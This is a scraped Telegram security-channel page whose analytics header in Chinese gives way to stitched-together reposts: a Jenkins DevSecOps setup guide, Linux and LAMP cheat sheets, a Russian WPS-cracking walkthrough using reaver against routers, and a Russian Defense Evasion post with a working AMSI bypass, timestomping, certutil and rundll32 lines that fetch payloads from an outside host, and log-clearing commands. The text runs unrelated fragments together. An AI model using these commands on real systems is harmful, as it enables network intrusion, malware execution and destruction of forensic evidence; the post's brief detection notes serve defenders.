All Security Engineering Courses
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
显示更多📈 Telegram 频道 All Security Engineering Courses 的分析概览
频道 All Security Engineering Courses (@allsecurityengineeringcourses) 英语 语言赛道中的 是活跃参与者。目前社区聚集了 19 244 名订阅者,在 技术与应用 类别中位列第 6 594,并在 俄罗斯 地区排名第 33 613 位。
📊 受众指标与增长动态
自 невідомо 创建以来,项目保持高速增长,吸引了 19 244 名订阅者。
根据 07 十月, 2026 的最新数据,频道保持稳定运转。过去 30 天订阅人数变化为 84,过去 24 小时变化为 2,整体触达仍然可观。
- 认证状态: 未认证
- 互动率 (ER): 平均受众互动率为 7.79%。内容发布后 24 小时内通常能获得 2.78% 的反应,占订阅者总量。
- 帖子覆盖: 每篇帖子平均可获得 1 499 次浏览,首日通常累积 535 次浏览。
- 互动与反馈: 受众积极参与,单帖平均反应数为 4。
- 主题关注点: 内容集中在 git, strace, github, linux, docker 等核心主题上。
📝 描述与内容策略
作者将该频道定位为表达主观观点的平台:
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
凭借高频更新(最新数据采集于 08 十月, 2026),频道始终保持新鲜度与高覆盖。分析显示受众积极互动,使其成为 技术与应用 类别中的关键影响点。
apt-get update
apt-get install -y docker.io unzip openjdk-17-jdk nodejs npm
You now have:
- Docker CLI
- JDK 17
- NodeJS
- unzip
All available to Jenkins.
---
# 🟦 3. Install Sonar Scanner manually
Downloaded and extracted:
cd /opt
wget https://github.com/SonarSource/sonar-scanner-cli/releases/download/4.4.0.2170/sonar-scanner-cli-4.4.0.2170-linux.zip
unzip sonar-scanner-cli-4.4.0.2170-linux.zip
mv sonar-scanner-4.4.0.2170-linux sonar-scanner
Scanner path:
/opt/sonar-scanner--- # 🟦 4. Install required Jenkins plugins From Manage Jenkins → Plugins: - SonarQube Scanner for Jenkins - SonarQube - NodeJS - OWASP Dependency Check - Email Extension - Pipeline - Docker Pipeline (optional) --- # 🟦 5. Configure tools in Jenkins UI ### JDK Manage Jenkins → Global Tool Configuration → JDK - Name:
jdk17
- Uncheck “Install automatically”
- JAVA_HOME:
```
/usr/lib/jvm/java-17-openjdk-amd64
```
### NodeJS
- Name: node16
- Uncheck “Install automatically”
### Sonar Scanner
- Name: sonar-scanner
- Uncheck “Install automatically”
- Installation directory:
```
/opt/sonar-scanner
```
---
# 🟦 6. Run SonarQube server on the host
You used:
docker run -d --name sonarqube \
-p 9000:9000 \
-v sonarqube_data:/opt/sonarqube/data \
-v sonarqube_logs:/opt/sonarqube/logs \
-v sonarqube_extensions:/opt/sonarqube/extensions \
sonarqube:lts-community
---
# 🟦 7. Configure SonarQube in Jenkins
Manage Jenkins → Configure System → SonarQube Servers
- Name: sonar-server
- URL: http://<host-ip>:9000
- Token: (generated in SonarQube UI)
Matches Jenkinsfile:
withSonarQubeEnv('sonar-server')
---
# 🟦 8. Add credentials in Jenkins
Path:
Manage Jenkins → Credentials → System → Global credentials → Add Credentials
You added:
- DockerHub credentials (docker-cred)
- SonarQube token (sonar-token)
---
# 🟦 9. Fix Docker permission issue inside Jenkins container
This was the big one.
### Problem:
Host Docker socket group ID = 984
Container docker group ID = 102
### Fix: recreate docker group inside container with correct GID
Inside container:
groupdel docker
groupadd -g 984 docker
usermod -aG docker jenkins
Restart container:
docker restart jenkins
Verify:
docker exec -it jenkins bash
id jenkins
docker ps
Now Docker works.
---
# 🟦 10. Run the pipeline — SUCCESS
Your Jenkinsfile worked without modification because:
- All tools were installed inside the container
- Jenkins had access to Docker
- SonarQube was reachable
- Trivy and OWASP DC were installed
- Credentials were configured
---
# 🎉 Final Result
You now have a fully functional DevSecOps pipeline running entirely inside a single Jenkins container, including:
- Git checkout
- SonarQube analysis
- Quality gate
- NPM install
- OWASP Dependency Check
- Trivy FS scan
- Docker build
- Docker push
- Trivy image scan
- Deployment
- Email notifications
This is a complete, production‑grade CI/CD pipeline.sudo airmon-ng start wlan0 # mon0 готов к охоте
sudo airmon-ng check kill # убиваем мешающие процессы
⚪️Шаг 2: Ищем жертву с WPS
sudo wash -i wlan0mon --ignore-locked
Ищем сети с WPS Locked: No — вот они, наши цели!
⚪️ Шаг 3: Лобовая атака Reaver
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6 -K 1
- -vv — спамит логами, чтобы видеть прогресс
- -c 6 — фиксируем канал (из wash)
- -K 1 — stealth mode против блокировок
🔥 Мои настройки для стабильности:
--no-timeout # не сбрасывать при глюках --dh-small # быстрее, но чуть менее надежно --force-ns-noresp # игнорируем неответы⏱️ Результат: TP-Link пал за 4:17. D-Link продержался 7 часов. ⚠️ Важно: - WPS Locked = игра окончена, роутер заблокировал атаки - Качество сигнала > -60dB, иначе тормоза - Pixie Dust атака (pixiewps) может сократить до минут! 🛡 Защита (сразу после теста): 1. Отключи WPS в настройках роутера 2. Поменяй пароль на 20+ символов 3. Обнови прошивку (часто фиксит WPS) 📱 Посмотреть код 😈 CodeGuard: PySec Edition | Чат
cd /home # перейти в каталог
ls -la # список файлов (включая скрытые)
pwd # текущая папка
2. Управление пользователями:
sudo adduser john # создать пользователя
sudo userdel john # удалить пользователя
passwd # сменить пароль
3. Права доступа:
chmod 755 file # rwxr-xr-x
chown user:group file # сменить владельца
4. Процессы:
ps aux | grep nginx # найти процесс
kill -9 1234 # убить процесс
htop # мониторинг в реальном времени
5. Сеть:
ping -c 4 8.8.8.8 # проверить связь
ss -tulpn # все открытые порты
curl -I example.com # посмотреть заголовки
6. Диски и память:
df -h # свободное место на дисках
du -sh /var/log # размер папки
free -h # свободная RAM
7. Логи:
tail -f /var/log/syslog # смотреть логи в реальном времени
journalctl -f -u ssh # логи службы SSH
8. Архивация:
tar -czvf backup.tar.gz /home # создать архив
tar -xzvf backup.tar.gz # распаковать
9. Поиск:
find / -name "*.conf" -mtime -7 # найти файлы за последние 7 дней
grep -r "error" /var/log/ # поиск по логам
10. Перезагрузка и выключение:
sudo reboot # перезагрузка
sudo shutdown -h now # выключение
Сохраняйте — пригодится каждый день.
😈 CodeGuard: PySec Edition | Чатsudo apt update
Шаг 2. Установите Apache
sudo apt install apache2 -y
Шаг 3. Включите автозапуск и запустите Apache
sudo systemctl enable apache2
sudo systemctl start apache2
Шаг 4. Проверьте статус
sudo systemctl status apache2
Должно быть active (running)
Шаг 5. Установите MySQL
sudo apt install mysql-server -y
Шаг 6. Включите и запустите MySQL
sudo systemctl enable mysql
sudo systemctl start mysql
Шаг 7. Защитите MySQL
sudo mysql_secure_installation — пройдите по шагам: установите пароль root, удалите анонимных пользователей, запретите удалённый доступ root.
Шаг 8. Установите PHP
sudo apt install php libapache2-mod-php php-mysql -y
Шаг 9. Проверьте PHP
Создайте тестовый файл:
echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php
Откройте в браузере http://ваш_ip/info.php — увидите информацию о PHP.
📌 Совет: после проверки удалите info.php или ограничьте к нему доступ — в целях безопасности.
👩💻 CodeGuard: Linux | ЧатПриветствую в мире цифровой безопасности!
Сегодня расскажу про техники Defense Evasion - как атакующий скрывает свою активность от средств защиты уже после того как закрепился в системе.
⏺Defense Evasion - это не одна техника, а целый класс. Тут задача не выполнить действие тихо один раз, а сделать так чтобы весь дальнейший процесс не триггерил алерты. Без этого закрепление в системе бесполезно: EDR увидит подозрительный процесс через час и всё оборвёт.
⏺AMSI bypass - Windows Antimalware Scan Interface проверяет PowerShell-код перед выполнением. Атакующий патчит функцию проверки прямо в памяти:
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
После этого любой вредоносный скрипт проходит без сканирования - AMSI думает, что инициализация провалилась и просто пропускает всё дальше.
⏺Process injection - вместо запуска нового подозрительного процесса код внедряется в уже доверенный:
$proc = Get-Process -Name "explorer"
# Дальше через WriteProcessMemory и CreateRemoteThread
# внедряем shellcode в легитимный процесс
Для мониторинга - это выглядит, как обычный explorer.exe, а не как новый неизвестный бинарь - большинство базовых правил детекта смотрят именно на имя и происхождение процесса.
⏺Timestomping - меняем метки времени файла, чтобы он не выделялся среди системных:
# Linux
touch -r /bin/ls malicious_file
stat malicious_file
# Windows через PowerShell
(Get-Item file.exe).CreationTime = "01/15/2020 10:00:00"
Форензика часто ищет файлы созданные в момент инцидента - timestomping ломает эту эвристику полностью.
⏺Living off the land - используем только легитимные системные утилиты вместо своих инструментов, тогда сигнатурный детект бессилен:
# Скачивание файла через certutil вместо curl
certutil -urlcache -split -f http://10.0.0.1/payload.exe payload.exe
# Выполнение через rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.0.0.1/script.sct")
certutil и rundll32 подписаны Microsoft и есть на каждой Windows-машине - антивирус не может просто заблокировать их целиком.
⏺Log clearing - чистим или отключаем логирование там где были:
wevtutil cl Security
wevtutil cl System
# Linux
> /var/log/auth.log
history -c
⏺Детектируется через поведенческий анализ а не сигнатуры: аномальная работа с памятью легитимных процессов, вызов certutil с параметром urlcache, массовая очистка логов сразу после подозрительной активности, несоответствие timestamp файла и записей в MFT. Sysmon Event ID 1 (создание процесса) и 10 (доступ к памяти процесса) - основа для детекта большинства этих техник.
ZeroDay | Серверная Админа | #defenseevasion